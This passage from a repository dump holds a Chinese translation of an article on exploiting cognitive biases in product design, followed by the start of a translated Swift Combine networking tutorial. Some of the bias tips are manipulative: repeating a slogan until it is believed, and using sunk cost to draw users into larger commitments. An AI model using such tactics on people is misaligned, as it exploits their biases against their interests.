[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/collection-cognitive-biases-how-to-use-3.md",
    "content": "> * 原文地址：[84 cognitive biases you should exploit to design better products](https://www.mobilespoon.net/2019/04/collection-cognitive-biases-how-to-use.html)\n> * 原文作者：[@gilbouhnick](https://twitter.com/GilBouhnick)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/collection-cognitive-biases-how-to-use-3.md](https://github.com/xitu/gold-miner/blob/master/TODO1/collection-cognitive-biases-how-to-use-3.md)\n> * 译者：[江五渣](http://jalan.space)\n> * 校对者：[shinichi4849](https://github.com/shinichi4849)，[IT-rosalyn](https://github.com/IT-rosalyn)\n\n# 利用 84 种认知偏见设计更好的产品 —— 第三部分\n\n![](https://2.bp.blogspot.com/-JvOvFjdlVfE/XMhvVVa0R4I/AAAAAAAAPrM/KaVBcSKDdPgb1PLug4TlVOx07uY6YHShQCLcBGAs/s640/Cognitive%2Bbiases.png)\n\n---\n\n> * [利用 84 种认知偏见设计更好的产品 —— 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/collection-cognitive-biases-how-to-use-1.md)\n> * [利用 84 种认知偏见设计更好的产品 —— 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/collection-cognitive-biases-how-to-use-2.md)\n> * **[利用 84 种认知偏见设计更好的产品 —— 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/collection-cognitive-biases-how-to-use-3.md)**\n\n---\n\n## 也没有那么聪明……\n\n我的意思是，我们当然是聪明的！但是如果你想要让你的产品获得成功，请展示乔治·克鲁尼是如何使用你的产品的，并让你的产品听起来十分押韵……\n\n### 46. 晕轮效应\n\n“晕轮效应”是指用一个人（或物）的某种品质对这个人（或物）做出整体的判断。换句话说，我们对一个人、一个产品、一家公司或一个品牌的最初印象会影响我们对其整体特征的解读。举个例子，一个高大或英俊的人会被认为是聪明或值得信赖的，等等……\n\n**如何使用**：通过使用权威照片和可建立信任关系的视觉效果来充分利用这种具有启发式的方法。\n\n### 47. 诱饵效应\n\n当添加第三个非主导选项时，消费者在其他两个选项之间的偏好往往会发生显著的变化。\n\n**如何使用**：明智地定义你的备用选项，无论你计划拥有多少个选项 —— 请确保最终的选项数量为 3 个。\n\n![](https://alexdenk.eu/blogtouch?id=1BHhkMPSCtigBtF-xy5eOiZg15llyrFl7)\n\n### 48. 幽默效应\n\n我们更容易记住那些被认为是有趣或幽默的信息。\n\n这有助于产品转化率和一般业务。在何种情况避免使用：不要在用户可能感到沮丧的情况下使用幽默。\n\n例如，当你的应用程序与一个旧设备不兼容时，不要用幽默的口吻描述它，因为用户可能会因为过于沮丧而笑不出来。\n\n### 49. 押韵效应\n\n也许你认为晕轮效应没有说服力 —— 直到你读到这个押韵效应时：\n\n押韵的陈述被认为更加真实。\n\n或如他们所言：“酒精揭示了清醒所隐瞒的一切（What sobriety conceals, alcohol reveals）。”\n\n**如何使用**：别使用它。\n\n### 50. 虚幻真实效应\n\n事情重复发生越多次，我们就会越相信它。\n\n**如何使用**：在你的广告、网站、应用程序商店页、引导流程、新闻稿等地方不断重复你的信息（产品的主要优点、与其他产品的区别）。\n\n### 51. 虚幻真相效应\n\n当一件事重复足够长的时间，它就会变成事实。\n\n**如何使用**：创造一个吸引人的口号，并确保重复足够多次，使其可信。\n\n噢，如果这个口号以押韵结尾的话 —— 它的效果可能会更好。\n\n## 聪明的人也容易被欺骗\n\n### 52. 错误共识效应\n\n我们总是高估他人与我们的相似度，并和其他人分享我们的观点、信仰、偏好、价值观和习惯，这因此导致 —— 其他人以与我们相同的方式思考。\n\n**问**：在没有涉足政坛（或特定国家）的情况下，你最近对你所在国家的选举结果是否感到惊讶？\n\n### 53. 知识的诅咒\n\n当我们是某个领域的专家时，我们常常不会意识到和我们交谈的人缺少这一领域的背景知识。\n\n**UI/UX 技巧**：想想你的大多数用户：他们可能没有你想的那么专业，也不太熟悉你所熟悉的东西。\n\n![UI 错误消息中的知识诅咒](https://alexdenk.eu/blogtouch?id=1pPvzI7yorcHkNBm_jP7x6-lT8kLyR48K \"UI 错误消息中的知识诅咒\")\n\n### 54. 投射偏误（移情隔阂）\n\n我们认为，随着时间的推移，我们当前对事物的品味和偏好会保持不变。\n\n我们无法将自己置于未来的情感状态中，从只能而做出符合当前状态的未来承诺。\n\n### 55. 弗拉（或巴纳姆）效应\n\n对于积极的性格和价值观描述，我们往往以为那些话精准到“这写的就是我”，然而这些描述往往含糊不清且适用于任何人。\n\n**如何使用**：在 UX 设计中 —— 使用诸如“你”、“你的”之类的词来拉近和用户/访问者之间的距离。\n\n### 56. 自制偏差\n\n我们倾向于高估自己在面对诱惑时的自制力。\n\n**如何使用**：我们都认为“标题党”十分蹩脚，但我们还是陷入其中，不是吗？\n\n![自制偏差 —— 我们都认为“标题党”十分蹩脚，但我们还是陷入其中，不是吗？](https://alexdenk.eu/blogtouch?id=1bh_eqirdcaDDYkoXiQyReb0N2dHHdHZy \"自制偏差 —— 我们都认为“标题党”十分蹩脚，但我们还是陷入其中，不是吗？\")\n\n我们都认为“标题党”十分蹩脚，但我们还是陷入其中……\n\n### 57. 乐观偏误\n\n我们经常认为自己比别人拥有更高的成功几率。\n\n**产品技巧**：确保你的产品没有任何会打破乐观偏误、令人不悦的潜在意外（例如额外的开销、可能发生的延误等）。\n\n**工作相关技巧**：当制定计划时，强迫自己变得悲观：\n\n1. 如果你认为 60% 的下载量会转化为真实用户 —— 那么计算时按 50% 假定。\n2. 如果你认为获得一个新用户将花费你 4 美元，那么就把它四舍五入到 5 美元。\n3. 如果你的业务处于寒冬时期 —— 为漫长的寒冬做好准备吧。\n4. 如果你的计划包含资源的可用性 —— 不要对资源的容量和性能过于乐观。\n\n保守但能证明成功的计划，比一个过于悲观的计划要好得多。\n\n> 乐观地思考。\n> 悲观地计划。\n> 坚决地执行。\n\n### 58. 规划谬误\n\n我们往往低估完成任务所需要的时间。这也是计划经常中断和项目经常延期的原因之一。把大任务拆分成小块可以帮助解决这种现象。\n\n**工作技巧**：将你最初预估的任务完成时间乘以 2，不，实际上要乘以 3。这不是因为你的懒散，而是因为你预估的时间可能是错误的。\n\n### 59. 帕金森琐碎定理\n\n我们往往把太多时间浪费在琐事上，而为重要的事情留下很少的时间。\n\n工作技巧：这种情况经常发生在会议上：最先的 1～2 个议题花费的时间比实际需要的时间长，导致没有为接下来的议题留出足够的时间。\n\n定时议程可以帮助解决这个恼人的现象。\n\n阅读：[如何在超出开发预算时保持产品势头](https://www.mobilespoon.net/2019/05/maintain-product-momentum-with-no.html)\n\n### 60. 达克效应\n\n我们无法认识到我们的能力不足。\n\n“我们的认知缺陷使我们无法意识到自身能力的不足。”\n\n**职业技巧**：当你加入一个新的团队或公司时，牢记你知之甚少，对于许多事情你甚至不知道自己一无所知……\n\n从底层开始，熟悉相关人员。少说话，多观察。\n\n保持低调，直到你不再是一个新手。\n\n### 61. 对样本数不敏锐\n\n我们经常忽略样本大小并贸然下结论，即使样本数量还未达到足够的统计量。\n\n**产品管理技巧**：与客户沟通很重要，但不要把产品设想建立在几次面谈的基础上。使用大量数据，并根据实际数据而非假设来做出产品决策。\n\n**控制错觉**\n\n我们往往高估自己对外部事件的影响程度。\n\n## 成倍收获或一无所有！\n\n奇怪的是，当我们意识到我们即将失败时，也许是因为我们不愿失去已经付出的成本 —— 我们往往会在这个失败的选择上投入更多。\n\n### 62. 支持选择偏差（购后合理化）\n\n一旦做出决定，我们倾向于称赞我们的所选项，并贬低其他选项。\n\n**产品/UX hack**：当用户在转化漏斗中经历一个重要的步骤时 —— 显示一个肯定的消息，称赞他们，并祝贺他们完成了这一步骤。\n\n**病毒营销技巧**：用户做出购买决定并成功交易后，是让用户分享产品（或添加评论）的最佳时机。这一刻是成功经验与支持选择偏差的结合。\n\n![支持选择偏差（购后合理化）](https://alexdenk.eu/blogtouch?id=1hQBoTtxdgExY1Rllc9OLHBg8T9xvj4XP \"支持选择偏差（购后合理化）\")\n\n称赞你的用户，并祝贺他们实现了重要的步骤\n\n### 63. 沉没成本谬误\n\n我们在某件事上投入越多就越难放弃它。\n\n因此，我们往往会继续执行这个走向失败的行动，仅仅是因为我们过去已经在此投入了过多的时间、金钱或精力。\n\n**引导流程技巧**：让用户从一个有趣且吸引人的小投入开始。这将为今后用户更大的投入铺平道路。\n\n**生活技巧**：当你感觉自己即将在某些事情上“全身心投入”时 —— 稍作整顿再出发（停歇几分钟、几小时，甚至睡上一觉），你将会看到不一样的东西。\n\n### 64. 不理性增值（承诺升级）\n\n我们通过重复执行（或投入更多）使之前做出的决定合理化，并以此来证明我们之前做的决定是正确的。\n\n**生活技巧**：不要仅仅因为你已经在想法上投入许多而倾心于它。要及时止损。\n\n**产品规则**：度量和分析你发布的每个新特性的性能。不要相信你的直觉，要始终对自己的决定持怀疑态度。\n\n![不理性增值 —— 提供免费试用，通过逐步升级用户投入来留住用户](https://alexdenk.eu/blogtouch?id=1Eyv1r4bxniXE0hRV8gPYeomBV5UeWgYQ \"不理性增值 —— 提供免费试用，通过逐步升级用户投入来留住用户\")\n\n提供免费试用，通过逐步升级用户投入来留住用户\n\n### 65. 鸵鸟效应\n\n我们故意逃避负面信息（或不符合我们期望的反馈），认为如果我们把头埋在沙子里 —— 它们就会消失。\n\n**问**：你是否收到过非常糟糕的客户反馈，并认为“这只是众多客户中的其中一个，并不意味着什么”？\n\n**产品管理技巧**：在用户的支持下工作：看看用户在使用产品的过程中遇到什么困难，并积极主动地解决它。从用户的投诉中可以学到很多东西。\n\n### 66. 处置效应\n\n处置效应是在行为金融学中发现的一种异常现象。它与投资者倾向于出售增值资产，同时保留贬值资产有关。\n\n## 但不要强迫！\n\n说服人们似乎比预期要容易，但不要强迫任何人。\n\n建立信任需要一个过程，如果用户感觉有什么不对劲 —— 他们就会过度防御，这时你就输掉了这场用户争夺战。\n\n### 67. 对抗心理\n\n当我们感到有人（或物）试图通过剥夺和限制我们的选择来限制我们的自由时就会产生对抗心理。当限制自由发生时，我们会有一种抵制它的冲动，并采取相反的行动。\n\n**产品技巧**：当你与用户“争论”他的选择时要额外小心。\n\n必须轻柔且优雅地推动用户，绝不能伤害用户的信任。\n\n### 68. 厌恶单一选项\n\n当没有其他竞争性选项存在时，我们不愿意去选择一个单一的选项（无论它有多吸引人）。\n\n**转化技巧**：不用创建过多的选项 —— 设置 3 个选项，这样你的客户就有了其他选择，不至于感到困惑。\n\n![](https://alexdenk.eu/blogtouch?id=1qQ1KSJIV1t_5qU0Lbzly40KYvGhtc4ot)\n\n### 69. 分析瘫痪（选择过多）\n\n这个偏见很押韵，这意味着它可能是真的：\n\n当太多选项呈现在我们面前时，我们的大脑就会停止思考，很难做出选择。\n\n想想餐厅菜单上数不胜数的菜品，它让人难以承受（而且一点也不有趣！）。\n\n**产品规则**：选项过多 = 低转化率。\n\n![分析瘫痪 —— 过多的选项导致低转化率](https://alexdenk.eu/blogtouch?id=1ec1f6hMhATAPtGe7Cb0JidAhj-F-HNLQ \"分析瘫痪 —— 过多的选项导致低转化率\")\n\n选项过多 = 低转化率\n\n### 70. 不明确性效应\n\n我们通常会避免未知，不去选择缺少信息或不够清晰的选项。\n\n通过添加可靠的细节将歧义最小化，这将提高你的转化率。\n\n**产品 hack**：如果你销售产品 —— 在描述、图片、价格和交付选项上投入精力。\n\n**UI hack**：CTA 按钮应包含旁边的信息标签，旨在清除可能存在的不确定性。\n\n![不明确性效应 —— 信息清晰是提高转化率的关键](https://alexdenk.eu/blogtouch?id=1gKRA6UopJl-tl2b-cRLx948praM3e1UR \"不明确性效应 —— 信息清晰是提高转化率的关键\")\n\n信息清晰是提高转化率的关键\n\n### 71. 风险代偿\n\n当我们感受到风险时我们会倍加小心，当我们感觉安全时我们会冒更大的风险。\n\n**产品技巧**：尽量减少工作流中的摩擦。\n\n### 72. 佩兹曼效应\n\n当我们知道已经采取了所有的安全措施时，我们更有可能冒险行事。\n\n**UI 技巧**：让你的用户在使用你的产品时尽可能地感到安全 —— 让他们获得信心和信任，特别是在购买和登录之前。\n\n### 73. 逆火效应\n\n我们无法轻易改变人们的信念：与根深蒂固的信念相反的论据和论证不仅无济于事，反而会强化原有的信念。\n\n**工作相关技巧**：通过情感上的因素改变人们的行为（看看上下文！这里有一个相关技术的清单！），而不要试图改变他们的信念。\n\n## 在我们结束之前还有一些心理技巧\n\n### 74. 频率错觉（巴德尔-迈因霍夫现象）\n\n在新的信息、名字、想法或模式第一次引起我们的注意后，我们很快就会发现它们无处不在。例如，如果有人想买一辆新车，他就会突然发现这辆车无处不在。\n\n**销售技巧**：当推动活动时 —— 通过重定向技术，确保让你的访问者在不同的营销渠道看到相同的内容。\n\n### 75. 安慰剂效应\n\n当我们确信我们得到了某种可改变行为、态度或感觉的东西时（即虚假治疗），我们的行为、态度或感觉就会发生改变。\n\n**营销技巧**：信念与经验造就了现实。当你的顾客开始讲述关于你的产品的故事时，安慰剂效应开始传播蔓延，且越来越多的人认为这些故事是真实的。\n\n### 76. 峰终定律\n\n我们会基于一段经历的“顶峰”和“结束”时的感受来评价该段经历，而非它的平均或整体感受\n\n**产品技巧**：通过让最佳功能更加出色来提升产品的巅峰时刻并保持你的竞争优势。\n\n**另一个产品技巧**：不要忽视产品的“售后”体验。一定要让用户以极好的感受结束这次体验。\n\n![峰终定律 —— 确定产品的峰值并使其更好！](https://alexdenk.eu/blogtouch?id=1HLU8ZomiiyarMPsfXCjtfjgYKGYOKueg \"峰终定律 —— 确定产品的峰值并使其更好！\")\n\n### 77. 差异偏差\n\n当我们并排比较选项时，我们会对细微的差别十分敏感，而事实上，这些差异并不是很大。\n\n**销售技巧**：在竞争对手旁边展示你的产品的优势，这样访问者就可以关注到不同之处，即使二者差距甚微。\n\n### 78. 自身相关效应\n\n我们容易想起与自己相关的事，不易想起与他人相关的事。\n\n言之有理……\n\n### 79. 首因效应\n\n人们更容易回想起列表开头和结尾的项目而非中间的项目。\n\n**UI 技巧**：如果你想要显示一个长长的项目列表 —— 确保第一项是你最重要的项目。\n\n### 80. 啦啦队效应（群体归因）\n\n我们认为，当一个人在群体中时，他更具有吸引力。但当我们逐一分析群体中的每个人时，他就不那么有吸引力了。\n\n**销售技巧**：确保在产品发布之前能有一些使用案例、推荐信和博客文章。\n\n![啦啦队效应（群体归因）](https://alexdenk.eu/blogtouch?id=1Kn-TO7co7DkRKA83fGsRZfOQBTB-3SgP \"啦啦队效应（群体归因）\")\n\n### 81. 偏见盲点\n\n我们注意到偏见对他人判断的影响，但我们看不见这些偏见对我们自己的影响。\n\n![偏见盲点 —— 我们每个人都受其影响](https://alexdenk.eu/blogtouch?id=1T-DGmrFq8A05qXtcq88akYwVG1svxr1O \"偏见盲点 —— 我们每个人都受其影响\")\n\n### 82. 行为者 - 观察者偏差\n\n我们倾向于把别人的不良行为归因于他们的性格，而把我们自己的不良行为归因于我们的环境。\n\n工作技巧：学习控制这种偏见，并试着去理解对方：这可能发生在外部人员（即顾客、合作伙伴）与内部人员之间，也可能发生在内部：一个团队与另一个团队之间、一个角色与另一个角色之间。\n\n### 83. 自我中心偏差\n\n我们认为我们对团队的贡献远远大于实际的贡献，以达到自我满足。\n\n“嘿！你看到我的最后一个盖帽了吗？它为我们带来了胜利！”\n\n![](https://alexdenk.eu/blogtouch?id=1GMj97tRgnKz2f6Kz2R8vaC0GiP_Vx2wJ)\n\n### 84. 观察者期望效应\n\n当研究者的认知偏见导致他们下意识地影响实验参与者时，就会发生这种情况。\n\n等等……如果这是真的……那么……谁能保证这个清单中的所有研究项没有发生这种情况呢？\n\n😱\n\n在 Twitter 上关注我 [@gilbouhnick](https://twitter.com/GilBouhnick)，或 [订阅我的简报](https://mailchi.mp/b9c664dfafa3/mobilespoon)，可以将帖子直接发送到你的收件箱。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/combine-getting-started.md",
    "content": "> * 原文地址：[Combine: Getting Started](https://www.raywenderlich.com/7864801-combine-getting-started)\n> * 原文作者：[Fabrizio Brancati](https://www.raywenderlich.com/u/fbrancati) \n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/combine-getting-started.md](https://github.com/xitu/gold-miner/blob/master/TODO1/combine-getting-started.md)\n> * 译者：[chaingangway](https://github.com/chaingangway)\n> * 校对者：[lsvih](https://github.com/lsvih)\n\n# 0202 年了，是时候学习 Combine 了\n\n> 学习如何使用 Combine 框架中的 Publisher（发布者）和 Subscriber（订阅者）来处理随时间变化的事件流，合并多个 publisher。\n\n在 2019 年的 WWDC 大会上，Combine 框架登场，它是苹果公司新推出的“响应式”框架，用来处理随时间变化的事件。你可以用 Combine 来统一和简化像代理、通知、定时器、完成回调这样的代码。在 iOS 平台上，之前也有可用的第三方响应式框架，但现在苹果开发了自己的框架。\n\n在本教程中，你将学到：\n\n- 使用 `Publisher` 和 `Subscriber`。\n- 处理事件流。\n- 用 Combine 框架中的方式使用 `Timer`。\n- 确定在项目中使用 Combine 的时机。\n\n我们通过优化 FindOrLose 来学习这些核心概念。FindOrLose 是一个游戏，它的玩法是：在四张图中，有一张图与其他三张图不同，你需要快速辨别出这张图。\n\n准备好探索 iOS 中 Combine 的奇妙世界吗？是时候开始了！\n\n## 入门\n\n你可以在这里下载本教程的[项目资源](https://koenig-media.raywenderlich.com/uploads/2020/04/FindOrLose.zip)。\n\n打开 starter 项目，查看一下项目文件。\n\n在玩游戏之前，你必须先在 [Unsplash Developers Portal](https://unsplash.com/developers) 上注册并获取一个 API key。注册完之后，在他们的开发者门户网站上创建一个 App。创建完成后，在屏幕上看到下面的内容：\n\n[![Creating Unsplash app to get the API key](https://koenig-media.raywenderlich.com/uploads/2020/01/FinalUnsplashFindOrLose-634x500.jpg)](https://koenig-media.raywenderlich.com/uploads/2020/01/FinalUnsplashFindOrLose.jpg)\n\n> 注释: Unsplash APIs 每小时有 50 次的调用上限。我们的游戏很有趣，但不要玩太多哟 :]\n\n打开 UnsplashAPI.swift，然后在 `UnsplashAPI.accessToken` 中添加你的 Unsplash API key，如下：\n\n\n```swift\nenum UnsplashAPI {\n  static let accessToken = \"<your key>\"\n  ...\n}\n```\n\n编译运行。主屏幕上会显示四个灰色正方形，还有一个用于开始或者停止游戏的按钮。\n\n[![First screen of FindOrLose with four gray squares](https://koenig-media.raywenderlich.com/uploads/2020/01/StartScreen-231x500.png)](https://koenig-media.raywenderlich.com/uploads/2020/01/StartScreen.png)\n\n点击 Play 开始游戏：\n\n[![First run of FindOrLose with four images](https://koenig-media.raywenderlich.com/uploads/2020/01/StartGaming-231x500.png)](https://koenig-media.raywenderlich.com/uploads/2020/01/StartGaming.png)\n\n现在，游戏运行完全正常，但是请看看 GameViewController.swift 文件中的 `playGame()`，这个方法的结尾是这样的：\n\n\n```\n            }\n          }\n        }\n      }\n    }\n  }\n```\n\n有太多内嵌的闭包了。你能理清里面的逻辑和顺序吗？如果你想改变调用顺序或者增加新功能，要怎么办？Combine 帮你的时候到了。\n\n## Combine 介绍\n\nCombine 框架提供了一套声明式的 API，用来计算随时间变化的值。它有三个要素：\n\n1. Publishers：产生值\n2. Operators：对值进行运算\n3. Subscribers：接收值\n\n下面我们依次来看每一个要素：\n\n### Publishers\n\n遵循 `Publisher` 协议的对象能发送随时间变化的值序列。协议中有两个关联类型：`Output` 是产生值的类型；`Failure` 是异常类型。\n\n每一个 publisher 可以发送多种事件：\n\n- `Output` 类型的值输出\n-  完成回调\n- `Failure` 类型的异常输出\n\n为了支持 Publishers，在 Foundation 框架中已经优化了一些类型的函数式特性，比如 `Timer` 和 `URLSession`。在本教程我们也会用到它们。\n\n### Operators\n\nOperators 是特殊的方法，它能被 Publishers 调用并且返回相同的或者不同的 Publisher。Operator 描述了对一个值进行修改、增加、删除或者其他操作的行为。你可以通过链式调用将这些操作组合在一起，进行复杂的运算。\n\n想象一下，值从原始的 Publisher 开始流动，然后经过一系列 Operator 的处理，形成新的 Publisher。这个过程就像一条河，值从上游的 Publisher 流向下游的 Publisher。\n\n### Subscribers\n\n如果没有监听这些发布的事件，Publishers 和 Operators 就没有意义。所以我们需要 Subscriber 来监听。\n\n`Subscriber` 是另一个协议。跟 `Publisher` 协议类似，它也有两个关联类型：`Input` 和 `Failure`。这两个类型必须和 Publisher 中的 `Output` 和 `Failure` 类型相对应。\n\nSubscriber 接收 Publisher 的值序列以及正常或者异常的事件。\n\n### 组合\n\n在调用 publisher 的 `subscribe(_:)` 方法时，它就准备给 subscriber 传值。这个时候，publisher 会给 subscriber 发送一个 subscription。subscriber 就可以用这个 subscription 向 publisher 请求数据。\n\n这些完成之后，publisher 就可以自由地向 subscriber 传送数据了。在这个过程中，publisher 有可能会传送请求的所有数据，有可能只会传送部分数据。如果 publisher 是有限事件流，它最终会以完成事件或者错误事件结束。下面的图表总结了这个过程：\n\n[![Publisher-Subscriber pattern](https://koenig-media.raywenderlich.com/uploads/2020/01/Publisher-Subscriber-474x500.png)](https://koenig-media.raywenderlich.com/uploads/2020/01/Publisher-Subscriber.png)\n\n## 在网络层使用 Combine\n\n上文是对 Combine 的概述。现在我们在项目中使用它。\n\n首先，创建 `GameError` 枚举来处理所有的 `Publisher` 错误。在 Xcode 的主目录中，进入 File ▸ New ▸ File... 选项卡，然后选择 template iOS ▸ Source ▸ Swift File。\n\n给这个新文件命名为 GameError.swift，然后添加到 Game 文件夹中。\n\n下面来完善 `GameError` 这个枚举：\n\n```swift\nenum GameError: Error {\n  case statusCode\n  case decoding\n  case invalidImage\n  case invalidURL\n  case other(Error)\n\n  static func map(_ error: Error) -> GameError {\n    return (error as? GameError) ?? .other(error)\n  }\n}\n```\n\n枚举中定义了在游戏中所有可能遇到的错误，还定义了一个处理任意类型错误的方法，用来保证错误是 GameError 类型。我们在处理 publisher 的时候就会用到。\n\n有了这些，我们就可以处理 HTTP 状态码和 decoding 中的错误了。\n\n下一步，导入 Combine 框架。打开 UnsplashAPI.swift，在文件的开头加入下面这段：\n\n```swift\nimport Combine\n```\n\n然后把 `randomImage(completion:)` 的签名改成如下:\n\n```swift\nstatic func randomImage() -> AnyPublisher<RandomImageResponse, GameError> {\n```\n\n现在这个方法没有把回调闭包作为参数，而是返回了一个 publisher，它的 output 是 RandomImageResponse 类型，faliure 是 GameError 类型。\n\n`AnyPublisher` 是一个系统类型，你可以用它来包装“任意”的 publisher。这意味着，如果你想使用 operators 或者对调用者隐藏实现细节时，就不必修改方法签名了。\n\n下一步，我们来修改代码，让 `URLSession` 支持 Combine 的新功能。找到以 `session.dataTask(with:` 开头的那一行，从这行开始到方法的末尾，用下面的代码替换。\n\n```swift\n// 1\nreturn session.dataTaskPublisher(for: urlRequest)\n  // 2\n  .tryMap { response in\n    guard\n      // 3\n      let httpURLResponse = response.response as? HTTPURLResponse,\n      httpURLResponse.statusCode == 200\n      else {\n        // 4\n        throw GameError.statusCode\n    }\n    // 5\n    return response.data\n  }\n  // 6\n  .decode(type: RandomImageResponse.self, decoder: JSONDecoder())\n  // 7\n  .mapError { GameError.map($0) }\n  // 8\n  .eraseToAnyPublisher()\n```\n\n这段代码看起来有很多，但是它用到了很多 Combine 的特性。下面一步一步来讲解：\n\n1. URL session 返回了 URL 请求的 publisher。这个 publisher 是 `URLSession.DataTaskPublisher` 类型，它的 output 类型是 (data: Data, response: URLResponse)。这不是正确的输出类型，所以你要用一系列 operator 进行转换来达到目的。\n2. 使用 `tryMap`。这个 operator 会接收上游的值，并尝试将它映射成其它的类型，映射过程中可能会抛出错误。还有一个叫 `map` 的 operator 可以执行映射操作，但它不会抛出错误。\n3. 检查 HTTP 状态是否为 `200 OK`。\n4. 如果 HTTP 状态码不是 `200 OK`，抛出自定义的 `GameError.statusCode` 错误。\n5. 如果一切都 OK，返回 `response.data`。这意味着现在链式调用的输出类型是 `Data`。\n6. 使用 `decode`，它将尝试用 `JSONDecoder` 把上游的值解析为 `RandomImageResponse`类型。到这一步，输出类型才是正确的。\n7. 错误类型没有完全正确。如果在 decode 的过程中产生了错误，错误的类型不会是 GameError。在 mapError 这个 operator 中，我们使用 GameError 中定义的方法，把任意的错误类型映射成你想要的错误类型。\n8. 如果查看一下 `mapError` 的返回类型，你可能会被吓到。`.eraseToAnyPublisher` 操作者会帮你把一切都收拾好，让返回值会更有可读性。\n\n上面的绝大部分逻辑，你也可以在一个 operator 中实现，但这明显不是 Combine 的思想。你可以思考一下 UNIX 中的一些工具，它们每一步只做一件事情，然后把每一步中的结果向下一步传递。\n\n### 用 Combine 框架下载图片\n\n重构好了网络层的逻辑，我们来下载图片\n\n打开 ImageDownloader.swift 文件，然后在文件的开头用下面的代码导入 Combine：\n\n```swift\nimport Combine\n```\n\n和 `randomImage` 一样，有了 Combine 你不必使用闭包。用下面的代码替换 `download(url:, completion:)` 方法：\n\n```swift\n// 1\nstatic func download(url: String) -> AnyPublisher<UIImage, GameError> {\n  guard let url = URL(string: url) else {\n    return Fail(error: GameError.invalidURL)\n      .eraseToAnyPublisher()\n  }\n\n  //2\n  return URLSession.shared.dataTaskPublisher(for: url)\n    //3\n    .tryMap { response -> Data in\n      guard\n        let httpURLResponse = response.response as? HTTPURLResponse,\n        httpURLResponse.statusCode == 200\n        else {\n          throw GameError.statusCode\n      }\n\n      return response.data\n    }\n    //4\n    .tryMap { data in\n      guard let image = UIImage(data: data) else {\n        throw GameError.invalidImage\n      }\n      return image\n    }\n    //5\n    .mapError { GameError.map($0) }\n    //6\n    .eraseToAnyPublisher()\n}\n```\n\n这里的代码与之前例子中的非常类似。下面一步一步来讲解：\n\n1. 跟之前一样，修改方法签名。让它返回一个 publisher，而不是接收闭包参数。\n2. 获得图片 URL 的 `dataTaskPublisher`。\n3. 使用 `tryMap` 检查响应码，如果没有错误，就提取数据。\n4. 用另一个 `tryMap` 操作者把上游的 `Data` 转换成 `UIImage`，如果失败，就抛出错误。\n5. 将错误映射成 `GameError` 类型。\n6. `.eraseToAnyPublisher` 返回一个优雅的类型\n\n### 使用 Zip\n\n我们已经用 publisher 来代替回调闭包修改完了所有网络相关的方法。现在，我们来调用这些方法。\n\n打开 GameViewController.swift，在文件的开头导入 Combine：\n\n```swift\nimport Combine\n```\n\n在 `GameViewController` 类的开头加入下面的属性：\n\n```swift\nvar subscriptions: Set<AnyCancellable> = []\n```\n\n这个属性是用来存储所有的 subscriptions。目前为止，我们使用过 publishers 和 operators，但是没有订阅。\n\n删除 `playGame()` 中所有的代码，在 `startLoaders()` 方法调用的后面，用下面的代码替换：\n\n```swift\n// 1\nlet firstImage = UnsplashAPI.randomImage()\n  // 2\n  .flatMap { randomImageResponse in\n    ImageDownloader.download(url: randomImageResponse.urls.regular)\n  }\n```\n\n在上面的代码中：\n\n1. 获得一个随机图片的 publisher。\n2. 使用 `flatMap`，把上一个 publisher 的值映射为新的 publisher。在本例中，你首先调用了 randomImage，获得了 output 后，将它映射成下载图片的 publisher。\n\n下一步，我们用同样的逻辑来获取第二张图片。把下面的代码添加到 `firstImage` 后面：\n\n\n```swift\nlet secondImage = UnsplashAPI.randomImage()\n  .flatMap { randomImageResponse in\n    ImageDownloader.download(url: randomImageResponse.urls.regular)\n  }\n```\n现在我们已经下载了两张随机图片了。用 `zip` 对这些操作进行组合。在 `secondImage` 的后面添加下面的代码：\n\n```swift\n// 1\nfirstImage.zip(secondImage)\n  // 2\n  .receive(on: DispatchQueue.main)\n  // 3\n  .sink(receiveCompletion: { [unowned self] completion in\n    // 4\n    switch completion {\n    case .finished: break\n    case .failure(let error):\n      print(\"Error: \\(error)\")\n      self.gameState = .stop\n    }\n  }, receiveValue: { [unowned self] first, second in\n    // 5\n    self.gameImages = [first, second, second, second].shuffled()\n\n    self.gameScoreLabel.text = \"Score: \\(self.gameScore)\"\n\n    // TODO: Handling game score\n\n    self.stopLoaders()\n    self.setImages()\n  })\n  // 6\n  .store(in: &subscriptions)\n```\n\n下面的步骤分解：\n\n1. `zip` 通过组合现有的 pulisher 的 output，来创建一个新的 publisher。它会等所有的 publisher 都发送 output 之后，才会把组合值发送给下游。\n2. `receive(on:)` 